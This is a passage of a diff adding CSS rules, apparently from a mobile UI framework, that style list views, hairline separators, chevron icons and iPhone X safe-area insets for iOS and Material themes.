constant(safe-area-inset-left)); + padding-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer, + .md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer { + padding-left: 0; + } + .md.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-right-edge .block-header, + .md.device-iphone-x .ios-edges .block-header, + .md.device-iphone-x .popup .block-header, + .md.device-iphone-x .sheet-modal .block-header, + .md.device-iphone-x .panel-right .block-header, + .md.device-iphone-x .ios-right-edge .block-footer, + .md.device-iphone-x .ios-edges .block-footer, + .md.device-iphone-x .popup .block-footer, + .md.device-iphone-x .sheet-modal .block-footer, + .md.device-iphone-x .panel-right .block-footer { + padding-right: calc(16px + constant(safe-area-inset-right)); + padding-right: calc(16px + env(safe-area-inset-right)); + } + .md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header, + .md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer, + .md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer { + padding-right: 0; + } + .md.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(16px + constant(safe-area-inset-left)); + margin-left: calc(16px + env(safe-area-inset-left)); + } +} +@media (orientation: landscape) and (min-width: 768px) { + .md.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge), + .md.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge) { + margin-right: calc(16px + constant(safe-area-inset-right)); + margin-right: calc(16px + env(safe-area-inset-right)); + } +} +/* === List View === */ +.list { + position: relative; + z-index: 1; +} +.list ul { + list-style: none; + margin: 0; + padding: 0; + position: relative; +} +.list ul ul:before { + display: none !important; +} +.list ul ul:after { + display: none !important; +} +.list li { + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-media { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-flex-wrap: nowrap; + -ms-flex-wrap: nowrap; + flex-wrap: nowrap; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + padding-bottom: 8px; +} +.list .item-inner { + position: relative; + width: 100%; + padding-top: 8px; + padding-bottom: 8px; + min-width: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.list .item-title { + min-width: 0; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + white-space: nowrap; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + max-width: 100%; +} +.list .item-after { + white-space: nowrap; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + margin-left: auto; +} +.list .item-link, +.list .list-button { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + z-index: 0; +} +.list .item-content { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.list .item-subtitle { + position: relative; + overflow: hidden; + white-space: nowrap; + max-width: 100%; + text-overflow: ellipsis; +} +.list .item-text { + position: relative; + overflow: hidden; + text-overflow: hidden; + -webkit-line-clamp: 2; + -webkit-box-orient: vertical; + display: -webkit-box; +} +.list .item-title-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-title-row .item-after { + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; +} +.list .item-row { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.list .item-cell { + display: block; + -webkit-align-self: center; + -ms-flex-item-align: center; + align-self: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; +} +.list li:last-child .list-button:after { + display: none !important; +} +.list li:last-child > .item-inner:after, +.list li:last-child li:last-child > .item-inner:after, +.list li:last-child > .item-content > .item-inner:after, +.list li:last-child li:last-child > .item-content > .item-inner:after, +.list li:last-child > .item-link > .item-content > .item-inner:after, +.list li:last-child li:last-child > .item-link > .item-content > .item-inner:after { + display: none !important; +} +.list.no-hairlines:before, +.list.no-hairlines ul:before, +.md .list.no-hairlines-md:before, +.md .list.no-hairlines-md ul:before, +.ios .list.no-hairlines-ios:before, +.ios .list.no-hairlines-ios ul:before { + display: none !important; +} +.list.no-hairlines:after, +.list.no-hairlines ul:after, +.md .list.no-hairlines-md:after, +.md .list.no-hairlines-md ul:after, +.ios .list.no-hairlines-ios:after, +.ios .list.no-hairlines-ios ul:after { + display: none !important; +} +.list.no-hairline-top:before, +.list.no-hairline-top ul:before, +.md .list.no-hairline-top-md:before, +.md .list.no-hairline-top-md ul:before, +.ios .list.no-hairline-top-ios:before, +.ios .list.no-hairline-top-ios ul:before { + display: none !important; +} +.list.no-hairline-bottom:after, +.list.no-hairline-bottom ul:after, +.md .list.no-hairline-bottom-md:after, +.md .list.no-hairline-bottom-md ul:after, +.ios .list.no-hairline-bottom-ios:after, +.ios .list.no-hairline-bottom-ios ul:after { + display: none !important; +} +.list.no-hairlines-between .item-inner:after, +.md .list.no-hairlines-between-md .item-inner:after, +.ios .list.no-hairlines-between-ios .item-inner:after, +.list.no-hairlines-between .list-button:after, +.md .list.no-hairlines-between-md .list-button:after, +.ios .list.no-hairlines-between-ios .list-button:after, +.list.no-hairlines-between .item-divider:after, +.md .list.no-hairlines-between-md .item-divider:after, +.ios .list.no-hairlines-between-ios .item-divider:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after, +.list.no-hairlines-between .list-group-title:after, +.md .list.no-hairlines-between-md .list-group-title:after, +.ios .list.no-hairlines-between-ios .list-group-title:after { + display: none !important; +} +.list.no-hairlines-between.simple-list li:after, +.md .list.no-hairlines-between-md.simple-list li:after, +.ios .list.no-hairlines-between-ios.simple-list li:after { + display: none !important; +} +.list.no-hairlines-between.links-list a:after, +.md .list.no-hairlines-between-md.links-list a:after, +.ios .list.no-hairlines-between-ios.links-list a:after { + display: none !important; +} +.list.simple-list li { + position: relative; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.list.simple-list li:last-child:after { + display: none !important; +} +.list.links-list a { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transition-property: background-color; + transition-property: background-color; + display: block; + position: relative; + overflow: hidden; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + white-space: nowrap; + text-overflow: ellipsis; + max-width: 100%; +} +.list.links-list li:last-child a:after { + display: none !important; +} +.media-list .item-inner, +li.media-item .item-inner { + display: block; + -webkit-align-self: stretch; + -ms-flex-item-align: stretch; + align-self: stretch; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background: none; +} +.media-list .item-media, +li.media-item .item-media { + -webkit-align-self: flex-start; + -ms-flex-item-align: start; + align-self: flex-start; +} +.media-list .item-media img, +li.media-item .item-media img { + display: block; +} +.list .item-link .item-inner, +.links-list a, +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row, +.media-list.chevron-center .item-link .item-inner, +.media-list .chevron-center .item-link .item-inner, +.media-list .item-link.chevron-center .item-inner, +li.media-item.chevron-center .item-link .item-inner, +li.media-item .chevron-center .item-link .item-inner, +li.media-item .item-link.chevron-center .item-inner { + background-size: 8px 13px; + background-repeat: no-repeat; + background-position: 95% center; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.links-list.no-chevron a, +.no-chevron .links-list a, +.links-list .no-chevron a, +.item-link.no-chevron .item-inner, +.no-chevron .item-link .item-inner, +.media-list.no-chevron .item-link .item-title-row, +.no-chevron .media-list .item-link .item-title-row, +li.media-item .no-chevron .item-title-row, +li.media-item.no-chevron .item-title-row, +.media-list.chevron-center .item-title-row, +.media-list .chevron-center .item-title-row, +li.media-item.chevron-center .item-title-row, +li.media-item .chevron-center .item-title-row { + background-image: none !important; +} +.media-list .item-link .item-inner, +li.media-item .item-link .item-inner { + background-image: none; +} +.media-list .item-link .item-title-row, +li.media-item .item-link .item-title-row { + background-position: right center !important; +} +.list-group ul:after, +.list-group ul:before { + z-index: 25 !important; +} +.list-group + .list-group ul:before { + display: none !important; +} +li.item-divider, +.item-divider, +li.list-group-title { + white-space: nowrap; + position: relative; + max-width: 100%; + text-overflow: ellipsis; + overflow: hidden; + z-index: 15; +} +li.list-group-title { + position: relative; + position: -webkit-sticky; + position: sticky; + top: 0; + margin-top: 0; + z-index: 20; +} +li.list-group-title:before { + display: none !important; +} +.list.inset .block-title { + margin-left: 0; + margin-right: 0; +} +.list.inset ul:before { + display: none !important; +} +.list.inset ul:after { + display: none !important; +} +@media (min-width: 768px) { + .list.tablet-inset .block-title { + margin-left: 0; + margin-right: 0; + } + .list.tablet-inset ul:before { + display: none !important; + } + .list.tablet-inset ul:after { + display: none !important; + } +} +.theme-dark .list .item-link .item-inner, +.list.theme-dark .item-link .item-inner, +.theme-dark .links-list a, +.links-list.theme-dark a, +.theme-dark .media-list .item-link .item-title-row, +.media-list.theme-dark .item-link .item-title-row, +.theme-dark li.media-item .item-link .item-title-row { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.500000%2C%206.500000)%20rotate(-45.000000)%20translate(-1.500000%2C%20-6.500000)%20'%20points%3D'6%2011%206%202%204%202%204%209%20-3%209%20-3%2011%205%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.theme-dark .media-list .item-link .item-inner, +.media-list.theme-dark .item-link .item-inner, +.theme-dark li.media-item .item-link .item-inner { + background-image: none; +} +.ios .list { + margin: 35px 0; + font-size: 17px; +} +.ios .list .item-cell { + width: 100%; + min-width: 0; + margin-left: 15px; +} +.ios .list .item-cell:first-child { + margin-left: 0; +} +.ios .list ul { + background: #fff; +} +.ios .list ul ul { + padding-left: 45px; +} +.ios .list .item-media { + padding-top: 7px; +} +.ios .list .item-media i + i, +.ios .list .item-media i + img { + margin-left: 5px; +} +.ios .list .item-media + .item-inner { + margin-left: 15px; +} +.ios .list .item-inner { + min-height: 44px; + padding-right: 15px; +} +.ios .list .item-after { + color: #8e8e93; + padding-left: 5px; +} +.ios .list .item-link, +.ios .list .list-button { + color: inherit; +} +.ios .list .item-link .item-inner, +.ios .list .list-button .item-inner { + padding-right: 35px; +} +.ios .list .item-link.active-state, +.ios .list .list-button.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .list .item-link.active-state .item-inner:after, +.ios .list .list-button.active-state .item-inner:after { + background-color: transparent; +} +.ios .list .list-button { + padding: 0 15px; + text-align: center; + color: #007aff; + line-height: 44px; +} +.ios .list .item-content { + min-height: 44px; + padding-left: 15px; +} +.ios .list .item-subtitle { + font-size: 15px; +} +.ios .list .item-text { + font-size: 15px; + color: #8e8e93; + line-height: 21px; + max-height: 42px; +} +.ios .list .item-header, +.ios .list .item-footer { + font-weight: normal; + font-size: 12px; + line-height: 1.2; + white-space: normal; +} +.ios .list .item-footer { + color: #8e8e93; +} +.ios .list .item-link.no-chevron .item-inner, +.ios .list.no-chevron .item-link .item-inner, +.ios .list .no-chevron .item-link .item-inner, +.ios .no-chevron .list .item-link .item-inner { + padding-right: 15px; +} +.ios .simple-list li:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .simple-list li:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .simple-list li:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .simple-list li { + padding-left: 15px; + padding-right: 15px; + line-height: 44px; + height: 44px; +} +.ios .simple-list li:after { + width: auto; + left: 15px; + right: 0; +} +.ios .links-list a:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .links-list a:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .links-list a:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .links-list a { + height: 44px; + color: inherit; +} +.ios .links-list a.active-state { + -webkit-transition-duration: 0ms; + transition-duration: 0ms; + background-color: #d9d9d9; +} +.ios .links-list a:after { + width: auto; +} +.ios .links-list a { + padding-left: 15px; + padding-right: 35px; +} +.ios .links-list a:after { + left: 15px; + right: 0; +} +.ios .links-list.no-chevron a, +.ios .no-chevron .links-list a, +.ios .links-list a.no-chevron, +.ios .links-list .no-chevron a { + padding-right: 15px; +} +.ios .media-list .item-title, +.ios li.media-item .item-title { + font-weight: 600; +} +.ios .media-list .item-inner, +.ios li.media-item .item-inner { + padding-top: 10px; + padding-bottom: 9px; +} +.ios .media-list .item-media, +.ios li.media-item .item-media { + padding-top: 9px; + padding-bottom: 10px; +} +.ios .media-list .item-link .item-inner, +.ios li.media-item .item-link .item-inner { + padding-right: 15px; +} +.ios .media-list .item-link .item-title-row, +.ios li.media-item .item-link .item-title-row { + padding-right: 20px; +} +.ios .media-list.chevron-center .item-link .item-inner, +.ios .media-list .chevron-center .item-link .item-inner, +.ios .media-list .item-link.chevron-center .item-inner, +.ios li.media-item.chevron-center .item-link .item-inner, +.ios li.media-item .item-link.chevron-center .item-inner, +.ios li.media-item .chevron-center .item-link .item-inner { + padding-right: 35px; +} +.ios .media-list.no-chevron .item-link .item-title-row, +.ios .no-chevron .media-list .item-link .item-title-row, +.ios .media-list .no-chevron .item-link .item-title-row, +.ios li.media-item.no-chevron .item-link .item-title-row, +.ios .no-chevron li.media-item .item-link .item-title-row, +.ios .media-list.chevron-center .item-title-row, +.ios .media-list .chevron-center .item-title-row, +.ios li.media-item.chevron-center .item-title-row, +.ios li.media-item .chevron-center .item-title-row { + padding-right: 0 !important; +} +.ios .list .item-link .item-inner, +.ios .links-list a { + background-position: calc(100% - 15px) center; +} +.ios .item-divider, +.ios .list-group-title { + margin-top: -1px; + padding: 4px 15px; + background: #f7f7f7; + color: #8e8e93; +} +.ios .item-divider:after, +.ios .list-group-title:after { + display: none !important; +} +.ios .list-group-title { + margin-top: 0; +} +.ios .item-divider:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .item-divider:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .item-divider:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list-group-title:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .list-group-title:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list-group-title:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list .list-button:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list .list-button:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list .list-button:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list .item-inner:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list ul:before { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .list ul:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list ul:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list ul:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .list ul:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .list ul:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .list.inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; +} +.ios .list.inset ul { + border-radius: 7px; +} +.ios .list.inset li:first-child > a { + border-radius: 7px 7px 0 0; +} +.ios .list.inset li:last-child > a { + border-radius: 0 0 7px 7px; +} +.ios .list.inset li:first-child:last-child > a { + border-radius: 7px; +} +@media (min-width: 768px) { + .ios .list.tablet-inset { + margin-left: 15px; + margin-right: 15px; + border-radius: 7px; + } + .ios .list.tablet-inset ul { + border-radius: 7px; + } + .ios .list.tablet-inset li:first-child > a { + border-radius: 7px 7px 0 0; + } + .ios .list.tablet-inset li:last-child > a { + border-radius: 0 0 7px 7px; + } + .ios .list.tablet-inset li:first-child:last-child > a { + border-radius: 7px; + } +} +.ios li li:last-child .item-inner:after, +.ios li:last-child li .item-inner:after { + content: ''; + position: absolute; + background-color: #c8c7cc; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +html.device-pixel-ratio-2 .ios li li:last-child .item-inner:after, +html.device-pixel-ratio-2 .ios li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +html.device-pixel-ratio-3 .ios li li:last-child .item-inner:after, +html.device-pixel-ratio-3 .ios li:last-child li .item-inner:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge).simple-list li { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .item-divider, + .ios.device-iphone-x .ios-left-edge .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .ios-edges .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .popup .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .sheet-modal .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title, + .ios.device-iphone-x .panel-left .list:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge) .list-group-title { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) { + margin-left: calc(15px + constant(safe-area-inset-left)); + margin-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-edges .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .popup .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .sheet-modal .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .panel-left .list.inset:not(.no-ios-edges):not(.no-ios-left-edge) .block-header, + .ios.device-iphone-x .ios-left-edge 